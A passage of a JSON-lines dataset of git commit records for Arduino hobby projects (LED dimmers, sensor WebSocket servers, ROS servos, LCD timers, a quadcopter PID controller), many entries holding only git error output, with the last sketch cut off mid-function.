*stdRamps; ++i)\n saveRamp(i, stdRamps + i);\n rf12_initialize(1, RF12_868MHZ, 19);\n}\n\nvoid loop () {\n set_sleep_mode(SLEEP_MODE_IDLE);\n sleep_mode();\n\n if (timer.poll(10)) {\n if (duration > 0) {\n --duration;\n for (byte i = 0; i < 3; ++i)\n now[i] += delta[i];\n setLeds();\n } else if (nextRamp != 0)\n loadRamp(nextRamp);\n }\n \n if (rf12_recvDone() && rf12_crc == 0) {\n const byte* p = (const byte*) rf12_data;\n if (rf12_len == 1) {\n \/\/ a single byte loads the ramp from EEPROM\n loadRamp(rf12_data[0]);\n } else if (rf12_len == 1 + sizeof (Ramp)) {\n \/\/ 6 bytes, either a save or an immediate command\n \/\/ make sure that slot zero, i.e. \"all-off\", is never overwritten\n if (rf12_data[0] > 0) \/\/ save the date to EEPROM, if slot is not zero\n saveRamp(rf12_data[0], (const Ramp*) (rf12_data + 1));\n else \/\/ use the ramp as is without saving, if slot is zero\n useRamp((const Ramp*) (rf12_data + 1));\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/ledNode\/ledNode.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"e6d7693de574a8ff6a447038360a12549c33af9a","subject":"Working accelstepper version","message":"Working accelstepper version\n","repos":"Fablabsitges\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,hlieberman\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,TheBeachLab\/BeachLab_flip_flap,Fablabsitges\/BeachLab_flip_flap","old_file":"arduino version\/code\/_1rev\/_1rev.ino","new_file":"arduino version\/code\/_1rev\/_1rev.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'version\/code\/_1rev\/_1rev.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa610f9393cca93a3d44bdce16990b893e1c3dc4","subject":"example file","message":"example file\n","repos":"reefangel\/SparkCoreLibraries","old_file":"firmware\/examples\/example.ino","new_file":"firmware\/examples\/example.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/example.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"740363d6d71945e4abe58e0d1892b34cb46d8b92","subject":"Optimized encryption","message":"Optimized encryption\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/aes.ino","new_file":"teensy-hsm\/aes.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"49a871a59301f6752bfedd0f3b3b213a68cb913c","subject":"Changed arduino code.","message":"Changed arduino code.\n\nConflicts:\n\tarduino\/eva.ino\n","repos":"birkof\/madac,birkof\/madac,birkof\/madac","old_file":"arduino\/eva.ino","new_file":"arduino\/eva.ino","new_contents":"#include <Arduino.h>\n#include <ArduinoJson.h>\n#include <ESP8266WiFi.h>\n#include <WebSocketsServer.h>\n#include <Hash.h>\n\nWebSocketsServer webSocket = WebSocketsServer(81);\n\n#define USE_SERIAL Serial1\n\n#define ECHO_PIN1 5\/\/D1\n#define TRIGGER_PIN1 4\/\/D2\n\n#define ECHO_PIN2 0\/\/D3\n#define TRIGGER_PIN2 2\/\/D4\n\n#define ECHO_PIN3 14\/\/D5\n#define TRIGGER_PIN3 12\/\/D6\n\n#define ECHO_PIN4 13\/\/D7\n#define TRIGGER_PIN4 15\/\/D8\n\n#define ECHO_PIN5 16\/\/D0\n#define TRIGGER_PIN5 15\/\/D8\n\nconst char* ssid = \"emag.net\";\nconst char* password = \"<aici e parola de la emag.net>\";\n\nlong Distance(long time)\n{\n \/\/ speed of sound at sea level = 340.29 m \/ s\n \/\/ ((time)*(Speed of sound))\/ toward and backward of object) * 10\n \n long DistanceCalc; \/\/ Calculation variable\n DistanceCalc = time * 0.034 \/ 2; \/\/ Actual calculation in cm\n \/\/DistanceCalc = (time \/ 2.9) \/ 2; \/\/ Actual calculation in mm\n \/\/DistanceCalc = time \/ 74 \/ 2; \/\/ Actual calculation in inches\n \n return DistanceCalc; \/\/ return calculated value\n}\n\nlong getSonicSensorData(uint8_t trigger, uint8_t echo) {\n long duration, distance;\n\n digitalWrite(trigger, LOW);\n delayMicroseconds(2);\n\n digitalWrite(trigger, HIGH);\n delayMicroseconds(10);\n\n digitalWrite(trigger, LOW);\n\n duration = pulseIn(echo, HIGH);\n distance = Distance(duration);\n\n Serial.print(\"Sensor \");\n Serial.print(trigger);\n Serial.print(\" -> \");\n Serial.println(distance);\n\n return distance;\n}\n\nchar* getJsonDataFromSensors() {\n StaticJsonBuffer<200> jsonBuffer;\n\n JsonObject& object = jsonBuffer.createObject();\n\n object.set(\"sens_length_init\", 148);\n object.set(\"sens_length_1\", getSonicSensorData(TRIGGER_PIN1, ECHO_PIN1));\n delay(100);\n object.set(\"sens_length_2\", getSonicSensorData(TRIGGER_PIN2, ECHO_PIN2));\n delay(100);\n\n object.set(\"sens_width_init\", 98);\n object.set(\"sens_width_1\", getSonicSensorData(TRIGGER_PIN3, ECHO_PIN3));\n delay(100);\n object.set(\"sens_width_2\", getSonicSensorData(TRIGGER_PIN4, ECHO_PIN4));\n delay(100);\n\n object.set(\"sens_height_init\", 100);\n object.set(\"sens_height_1\", getSonicSensorData(TRIGGER_PIN5, ECHO_PIN5));\n \n char json[256];\n object.printTo(json, sizeof(json));\n\n return json;\n}\n\nvoid webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t lenght) {\n String pld = (char*)payload;\n\n switch(type) {\n case WStype_DISCONNECTED:\n USE_SERIAL.printf(\"[%u] Disconnected!\\n\", num);\n Serial.println(\"User disconnected from websocket.\");\n \n break;\n case WStype_CONNECTED:\n {\n IPAddress ip = webSocket.remoteIP(num);\n USE_SERIAL.printf(\"[%u] Connected from %d.%d.%d.%d url: %s\\n\", num, ip[0], ip[1], ip[2], ip[3], payload);\n Serial.println(\"User connected to websocket.\");\n \n \/\/ send message to client\n \/\/webSocket.sendTXT(num, \"Connected\");\n }\n break;\n case WStype_TEXT:\n USE_SERIAL.printf(\"[%u] get Text: %s\\n\", num, payload);\n Serial.println(pld);\n \n if (pld == \"GET_MEASUREMENTS\") {\n \/\/ send message to client\n webSocket.sendTXT(num, getJsonDataFromSensors());\n }\n\n \/\/ send data to all connected clients\n \/\/ webSocket.broadcastTXT(\"message here\");\n break;\n case WStype_BIN:\n USE_SERIAL.printf(\"[%u] get binary lenght: %u\\n\", num, lenght);\n hexdump(payload, lenght);\n\n \/\/ send message to client\n \/\/ webSocket.sendBIN(num, payload, lenght);\n break;\n }\n\n}\n\nvoid WiFiEvent(WiFiEvent_t event) {\n Serial.printf(\"[WiFi-event] event: %d\\n\", event);\n\n switch(event) {\n case WIFI_EVENT_STAMODE_GOT_IP:\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n break;\n case WIFI_EVENT_STAMODE_DISCONNECTED:\n Serial.println(\"WiFi lost connection\");\n break;\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ delete old config\n WiFi.disconnect(true);\n\n delay(1000);\n\n WiFi.onEvent(WiFiEvent);\n\n WiFi.begin(ssid, password);\n\n Serial.println();\n Serial.println();\n Serial.println(\"Wait for WiFi... \");\n\n webSocket.begin();\n webSocket.onEvent(webSocketEvent);\n\n pinMode(TRIGGER_PIN1, OUTPUT);\n pinMode(ECHO_PIN1, INPUT);\n \n pinMode(TRIGGER_PIN2, OUTPUT);\n pinMode(ECHO_PIN2, INPUT);\n \n pinMode(TRIGGER_PIN3, OUTPUT);\n pinMode(ECHO_PIN3, INPUT);\n \n pinMode(TRIGGER_PIN4, OUTPUT);\n pinMode(ECHO_PIN4, INPUT);\n \n pinMode(TRIGGER_PIN5, OUTPUT);\n pinMode(ECHO_PIN5, INPUT);\n}\n\n\nvoid loop() {\n delay(1000);\n webSocket.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/eva.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"abf2d3a6985018b448b3308002193654f3c1745b","subject":"Testing","message":"Testing\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bb3ee2ab11191a6ed9e39c1fd96e7d1d1e436f7e","subject":"First Working Code","message":"First Working Code\n\nThis code has the basics of functionality for most mission aspects. It\ndoes not contain radio at the moment.\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"be522b9eb524a2c16e85e1beadfbf05a17d71940","subject":"\u6dfb\u52a0\u591a\u591a\u4e8c\u4ee3futaba\u8235\u673a\u63a7\u5236\u7a0b\u5e8f\uff0c\u5305\u542b\u5de1\u7ebf\u91c7\u96c6\u7a0b\u5e8f","message":"\u6dfb\u52a0\u591a\u591a\u4e8c\u4ee3futaba\u8235\u673a\u63a7\u5236\u7a0b\u5e8f\uff0c\u5305\u542b\u5de1\u7ebf\u91c7\u96c6\u7a0b\u5e8f\n","repos":"Tarsbot\/RabbitArduino,Tarsbot\/RabbitArduino","old_file":"line_follower_add_steering_futaba_2\/line_follower_add_steering_futaba_2.ino","new_file":"line_follower_add_steering_futaba_2\/line_follower_add_steering_futaba_2.ino","new_contents":"#include <ros.h>\n#include <Servo.h>\n#include <dependant_api\/robotcmd_motor.h>\n#include <dependant_api\/Int16Array.h>\n\ndependant_api::Int16Array raw;\nros::Publisher ir_line_scanner_pub(\"ir_raw_data\", &raw);\nint sensor_number = 8;\nint print_value;\n\nros::NodeHandle nh;\nServo servo_vertical;\nServo servo_horizontal;\nint pos_vertical = 50;\nint pos_horizontal = 90;\nint vertical = 50;\nint horizontal = 90;\n\nvoid servoCallback(const dependant_api::robotcmd_motor& cloud_terrace)\n{\n \/\/id = cloud_terrace.id;\n vertical = cloud_terrace.ver_angle;\n horizontal = cloud_terrace.hor_angle;\n}\n\nros::Subscriber<dependant_api::robotcmd_motor> servo(\"steering_duoduo_2\", servoCallback);\n\nvoid setup()\n{\n nh.initNode();\n nh.subscribe(servo);\n servo_horizontal.attach(2);\n servo_vertical.attach(3);\n nh.advertise(ir_line_scanner_pub);\n}\n\nvoid loop()\n{\n int i, j, k, raw_data[11] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};\n raw_data[0] = analogRead(0);\n raw_data[1] = analogRead(1);\n raw_data[2] = analogRead(2);\n raw_data[3] = analogRead(3);\n raw_data[4] = analogRead(4);\n raw_data[5] = analogRead(5);\n raw_data[6] = analogRead(6);\n raw_data[7] = analogRead(7);\n raw_data[8] = analogRead(8);\n raw_data[9] = analogRead(9);\n raw_data[10] = analogRead(10);\n\n for (k = 0; k < sensor_number; k++)\n raw.data[k] = raw_data[k];\n ir_line_scanner_pub.publish(&raw);\n\n\/\/-------------------------------------------------------------------\n\n nh.spinOnce();\n\n if (horizontal > pos_horizontal && pos_horizontal < 170 && horizontal - pos_horizontal != 1)\n pos_horizontal += 2;\n else if (horizontal < pos_horizontal && pos_horizontal > 10 && horizontal - pos_horizontal != -1)\n pos_horizontal -= 2;\n\n if (vertical > pos_vertical && pos_vertical < 75 && vertical - pos_vertical != 1)\n pos_vertical += 2;\n else if (vertical < pos_vertical && pos_vertical > 30 && vertical - pos_vertical != -1)\n pos_vertical -= 2;\n\n servo_horizontal.write(pos_horizontal);\n servo_vertical.write(pos_vertical);\n\n \/*print_value++;\n if (print_value >= 10)\n {\n for (k = 0; k < sensor_number; k++)\n {\n Serial.print(raw_data[k]);\n Serial.print(\"\\t\");\n }\n Serial.println();\n print_value = 0;\n }*\/\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'line_follower_add_steering_futaba_2\/line_follower_add_steering_futaba_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ea661f8234f27691325ac416ce1be2e91a820535","subject":"removed stabilization","message":"removed stabilization\n\nrip","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsRX_EZ\/MotorsRX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f55543f021bc416397adfe52343f6959c6ddb67","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a690e8f340af8b082191c85c11feb37946b05063","subject":"Initial Sketch","message":"Initial Sketch\n\nInitial Arduino Sketch for sending data.\n","repos":"hydroArgentum\/PongDuino","old_file":"PongDuinoSketch\/PongDuinoSketch.ino","new_file":"PongDuinoSketch\/PongDuinoSketch.ino","new_contents":"\/\/Message\nbyte input_byte;\n\/\/Setup\nvoid setup(){\n \/\/Serial baud rate 9600.\n Serial.begin(9600);\n}\n\/\/Main loop.\nvoid loop(){\n \/\/Buffer size is 1 byte.\n if(Serial.available() == 1){\n \/\/Read from buffer.\n input_byte = Serial.read();\n }\n if(input_byte == 0){\n Serial.print(\"THIS IS ARDUINO!\");\n return;\n }\n \/\/Scores\n byte left_score = input_byte >> 4;\n byte right_score = input_byte & B00001111;\n \/\/Clear message.\n input_byte = 0;\n Serial.print(\"READY TO COMMUNICATE\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PongDuinoSketch\/PongDuinoSketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d8a30ca486871ffadc0648a1bf520e4e9e5df720","subject":"update to send the state on all 6 heaters","message":"update to send the state on all 6 heaters\n","repos":"tylergrreid\/BRIC_II,tylergrreid\/BRIC_II,tylergrreid\/BRIC_II","old_file":"BRIC_II\/mavlink_fns.ino","new_file":"BRIC_II\/mavlink_fns.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/BRIC_II.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"af3d173316ac9d2cbe1480b17c9ceebef12c4c34","subject":"added my main .ino file","message":"added my main .ino file\n\nwires up 9 buttons to Arduino Mega's analog pins.\n","repos":"CanTireInnovations\/G35-MEO-Programs","old_file":"MEOXmas.ino","new_file":"MEOXmas.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/CanTireInnovations\/G35-MEO-Programs.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"a9028cb18e37ebddb4c8a65e74279f4618f49d1e","subject":"do we have enough to drive?","message":"do we have enough to drive?\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"_5031Test\/_5031Test.ino","new_file":"_5031Test\/_5031Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"0578a1f054e434b9a466bba17e85d031cecb32ba","subject":"this example demonstrates both usages of 'clear' method","message":"this example demonstrates both usages of 'clear' method\n","repos":"baghayi\/Nokia_5110,baghayi\/Nokia_5110","old_file":"examples\/Clear\/Clear.ino","new_file":"examples\/Clear\/Clear.ino","new_contents":"#include \"Nokia_5110.h\"\n\n#define RST 2\n#define CE 3\n#define DC 4\n#define DIN 5\n#define CLK 6\n\nNokia_5110 lcd = Nokia_5110(RST, CE, DC, DIN, CLK);\n\nvoid setup() {\n lcd.setCursor(5, 2);\n\tlcd.print(\"Clear methods\");\n\tdelay(4000);\n\n\t\/**\n\t * Clear method with no parameter, clears the whole sceen and then sets the cursor to the first row and first column. X=0, Y=0 .\n\t *\/\n\tlcd.clear(); \/\/ One way of using clear method.\n\n\tlcd.setCursor(15, 2);\n lcd.print(\"Timer\");\n\n\tlcd.setCursor(15, 3);\n lcd.print(\"00 : 00 : 00\");\n}\n\n\nvoid hours(){\n static unsigned int hours = 0;\n\n if(hours <= 22){\n hours++;\n }else{\n hours = 0;\n }\n\n lcd.clear(3, 15, 25); \/\/ This is another way of using clear method. It only clears a portion of the screen\n\n char temp[3];\n dtostrf(hours, 2, 0, temp); \/\/ converts integer to char datatype\n lcd.print(temp);\n}\n\nvoid minutes(){\n static unsigned int minutes = 0;\n\n if(minutes <= 58){\n minutes++;\n }else{\n minutes = 0;\n hours();\n }\n\n lcd.clear(3, 36, 46); \/\/ This is another way of using clear method. It only clears a portion of the screen\n \n char temp[3];\n dtostrf(minutes, 2, 0, temp); \/\/ converts integer to char datatype\n lcd.print(temp);\n}\n\nvoid seconds(){\n static unsigned int seconds = 0;\n\n if(seconds <= 58) {\n seconds++;\n }else{\n seconds = 0;\n minutes();\n }\n\n lcd.clear(3, 57, 70); \/\/ This is another way of using clear method. It only clears a portion of the screen\n\n char temp[3];\n dtostrf(seconds, 2, 0, temp); \/\/ converts integer to char datatype\n lcd.print(temp);\n}\n\nvoid timer(){\n\tstatic unsigned long timerState = 0;\n\tunsigned long timer = (millis() \/ 1000);\n if(timer != timerState){\n timerState = timer;\n seconds();\n }\n}\n\nvoid loop() {\n timer();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Clear\/Clear.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0193b364bba52e8e688fb3b3c9097371d0992eae","subject":"add watering unit","message":"add watering unit\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Unit\/WATERING\/WATERING.ino","new_file":"examples\/Unit\/WATERING\/WATERING.ino","new_contents":"\/*\n Description: Read the ADC value measured by the Watering Unit, and the water pump can be switched on and off through the middle button.\n*\/\n\n\n#include <M5Stack.h>\n\n#define INPUT_PIN 36\n#define PUMP_PIN 26\n\nbool flag = true;\nint rawADC;\n\nvoid setup() { \n M5.begin();\n M5.Lcd.setTextColor(GREEN);\n M5.Lcd.setTextSize(3);\n M5.Lcd.setTextDatum(TC_DATUM);\n M5.Lcd.drawString(\"Watering TEST\", 160, 20, 1);\n M5.Lcd.drawString(\"ON\/OFF PUMP\", 160, 200, 1);\n pinMode(INPUT_PIN,INPUT);\n pinMode(PUMP_PIN,OUTPUT);\n pinMode(25,OUTPUT);\n digitalWrite(25,0);\n}\n\nchar info[30];\n\nvoid loop() { \n rawADC = analogRead(INPUT_PIN);\n M5.lcd.fillRect(80, 100, 240, 50, BLACK);\n M5.Lcd.setCursor(80, 100);\n M5.Lcd.print(\"ADC: \"+ String(rawADC));\n Serial.print(\"Watering ADC value: \");\n Serial.println(rawADC);\n if(M5.BtnB.wasPressed()){\n digitalWrite(PUMP_PIN,flag);\n flag = !flag;\n }\n M5.update();\n delay(100);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Unit\/WATERING\/WATERING.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3978d2701eef04dde83d52794ec363d43494e9d9","subject":"anavi-led-dimmer: Add pir-motion-led-dimmer.ino","message":"anavi-led-dimmer: Add pir-motion-led-dimmer.ino\n\nAdd Arduino example sketch for detecting motion with PIR sensor.\nTurn on the lights for 10 seconds if motion is detected. It is\nalso possible to turn on or off the lights manually by pressing\nthe button.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-led-dimmer\/pir-motion-led-dimmer\/pir-motion-led-dimmer.ino","new_file":"anavi-led-dimmer\/pir-motion-led-dimmer\/pir-motion-led-dimmer.ino","new_contents":"\/\/ Pin for the button\n#define BUT 1\n\/\/ Pin to drive the LED strip\n#define PWM 0\n\/\/ Analog 1 corresponds to pin PB2\n#define POT 1\n#define PIR 4\n\/\/ Time period to keep the lights on\n#define DELAY 10000\n\nint potValue = 0;\n\n\/\/ the current state of LED\nint ledState = HIGH;\n\/\/ the previous state of button\nint lastButtonState = HIGH;\n\/\/ the current state of button\nint currentButtonState = HIGH;\n\nint pirState = LOW;\nunsigned long motionTime = 0;\n\nvoid setup()\n{\n\tpinMode(PWM, OUTPUT);\n\tanalogWrite(PWM, 0);\n\tpinMode(BUT, INPUT_PULLUP);\n\tcurrentButtonState = digitalRead(BUT);\n\tpinMode(PIR, INPUT_PULLUP);\n}\n\nvoid loop()\n{\n\t\/\/ Allow to turn on or off the lights with the button\n\t\/\/ no matter what is the state of the PIR motion sensor\n\tlastButtonState = currentButtonState;\n\t\/\/ Check the status of the button\n\tcurrentButtonState = digitalRead(BUT);\n\tif ( (HIGH == lastButtonState) && (LOW == currentButtonState) )\n\t{\n\t\t\/\/ toggle state of LED\n\t\tledState = !ledState;\n\t\tif (LOW != ledState)\n\t\t{\n\t\t\tmotionTime = millis();\n\t\t}\n\t}\n\n\tif (HIGH == digitalRead(PIR))\n\t{\n\t\tif (LOW == pirState)\n\t\t{\n\t\t\tmotionTime = millis();\n\t\t\tledState = HIGH;\n\t\t\tpirState = HIGH;\n\t\t}\n\t}\n\telse\n\t{\n\t\tpirState = LOW;\n\t}\n\n\tif ((millis() - DELAY) > motionTime)\n\t{\n\t\tledState = LOW;\n\t}\n\t\n\tif (LOW == ledState)\n\t{\n\t\t\/\/ Turn off the LED strip\n\t\tanalogWrite(PWM, 0);\n\t}\n\telse\n\t{\n\t\t\/\/ Read potentiometer value in range 0 - 1024 \n\t\t\/\/ and map it to the LED\n\t\tpotValue = map(analogRead(1), 0, 1023, 0, 255);\n\t\tanalogWrite(PWM, potValue);\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-led-dimmer\/pir-motion-led-dimmer\/pir-motion-led-dimmer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a11062981ebdf3b493853b52832ecef9ab483558","subject":"roll-pitch pid code","message":"roll-pitch pid code\n","repos":"robotworksinc\/Flyboard-1000,robotworksinc\/Flyboard-1000,robotworksinc\/Flyboard-1000","old_file":"arduino\/src\/T-80AFLAME\/uav_pid_roll_pitch\/uav_pid_roll_pitch.ino","new_file":"arduino\/src\/T-80AFLAME\/uav_pid_roll_pitch\/uav_pid_roll_pitch.ino","new_contents":"#include <PinChangeInt.h>\n#include <PID_v1.h>\n#include <Servo.h>\n\n\n\/\/ Define value of pi\n#define PI 3.141592653589793\n#define g 9.80665\n#define NITER 5\n\n\/\/ 20 ms wait for serial signal\n#define MAX_MILLIS_TO_WAIT 20\n\n\/\/ Define RC channels pin numbers\n#define RC_THROTTLE 2\n#define RC_ROLL 4\n#define RC_PITCH 7\n#define RC_YAW 8\n#define RC_IN_PIN_5 12\n#define RC_IN_PIN_6 13 \n\n\/\/ These bit flags are set in bUpdateFlagsShared to indicate which\n\/\/ channels have new signals\n#define THROTTLE_FLAG 1\n#define ROLL_FLAG 2\n#define PITCH_FLAG 4\n#define YAW_FLAG 8\n\n\/\/ Define drone motor pin numbers\n#define MOTOR_FL 11\n#define MOTOR_FR 6\n#define MOTOR_BL 10\n#define MOTOR_BR 9\n\n\/\/ RC Radio min\/max for each stick\n#define RC_MIN 1100\n#define RC_MID 1500\n#define RC_MAX 1900\n#define ESC_MIN 1450\n#define ESC_MAX 1830\n\n\/\/ Define ESC servo objects\nServo ESC1;\nServo ESC2;\nServo ESC3;\nServo ESC4;\n\n\/\/ Various global variables\nint channels[4];\nvolatile uint8_t bUpdateFlagsShared;\nlong rcthr, rcyaw, rcpit, rcroll, pwm1, pwm2, pwm3, pwm4;\nuint32_t ulThrottleStart, ulYawStart, ulPitchStart, ulRollStart;\nvolatile uint16_t unThrottleInShared, unYawInShared, unPitchInShared, unRollInShared;\n\nunsigned long starttime;\nfloat euler[] = {0.0, 0.0, 0.0};\nfloat gyro[] = {0.0, 0.0, 0.0};\nfloat accl[] = {0.0, 0.0, 0.0};\ndouble roll, pitch, yaw, x_gyro, y_gyro, z_gyro;\nfloat roll_val[NITER], pitch_val[NITER], yaw_val[NITER], x_gyro_val[NITER], y_gyro_val[NITER], z_gyro_val[NITER]; \n\n\/\/ PID variables and arrays\ndouble roll_out, pitch_out, yaw_out;\ndouble roll_stab_out, pitch_stab_out, yaw_stab_out;\n\ndouble roll_stab_param[] = {0.1, 0.0, 0.0};\ndouble pitch_stab_param[] = {0.1, 0.0, 0.0};\ndouble yaw_stab_param[] = {0.1, 0.0, 0.0}; \n\ndouble roll_rate_param[] = {0.1, 0.0, 0.0};\ndouble pitch_rate_param[] = {0.1, 0.0, 0.0};\ndouble yaw_rate_param[] = {0.1, 0.0, 0.0}; \n\nPID roll_stab_pid((double *)&rcroll, &roll_stab_out, &roll, roll_stab_param[0], roll_stab_param[1], roll_stab_param[2], DIRECT);\nPID pitch_stab_pid((double *)&rcpit, &pitch_stab_out, &pitch, pitch_stab_param[0], pitch_stab_param[1], pitch_stab_param[2], DIRECT);\nPID yaw_stab_pid((double *)&rcyaw, &yaw_stab_out, &yaw, yaw_stab_param[0], yaw_stab_param[1], yaw_stab_param[2], DIRECT);\n\nPID roll_rate_pid((double *)&roll_stab_out, &roll_out, &x_gyro, roll_rate_param[0], roll_rate_param[1], roll_rate_param[2], DIRECT);\nPID pitch_rate_pid((double *)&pitch_stab_out, &pitch_out, &y_gyro, pitch_rate_param[0], pitch_rate_param[1], pitch_rate_param[2], DIRECT);\nPID yaw_rate_pid((double *)&yaw_stab_out, &yaw_out, &z_gyro, yaw_rate_param[0], yaw_rate_param[1], yaw_rate_param[2], DIRECT);\n\n\n\/\/ ================== IMU control code ==============================================\n\/\/ Determine mean value\nfloat mean(float* val) {\n float temp = 0.0;\n for(int i = 0; i < NITER; i++){\n temp += val[i];\n }\n return temp\/NITER;\n}\n\n\/\/ Function to convert angles in radians to degree\nfloat rad2deg(float angle) {\n return (180\/PI) * angle;\n}\n\n\/\/ Get Euler angles, gyro an accelerometer values from the IMU\nbyte readIMU(float* euler, float* gyro, float* accl) {\n byte cmd[] = {0x75,0x65,0x0C,0x0D,0x0D,0x01,0x00,0x03,0x0C,0x00,0x00,0x04,0x00,0x00,0x05,0x00,0x00,0x19,0xE5};\n byte reply[58];\n \n \/\/ Variables to receive euler angles, gyro and accelerometer values\n union {\n float val;\n unsigned char b[4]; \n } uav_value;\n \n \/\/ Send serial command\n Serial.write(cmd, sizeof(cmd));\n \n \/\/ Delay of 1 ms\n delay(1);\n \n starttime = millis();\n\n \/\/ Wait till all 58 bytes are recieved or 100 ms has gone bye\n while ((Serial.available() < 58) && ((millis() - starttime) < MAX_MILLIS_TO_WAIT)) {\n }\n\n \/\/ If less than 58 bytes are available on serial register, return \\x01 error\n \/\/ code else send \\x00 success code and populate euler angles \n if (Serial.available() < 58) {\n return byte(1);\n }\n else {\n for (int n = 0; n < 58; n++) {\n reply[n] = Serial.read();\n delay(1); \n 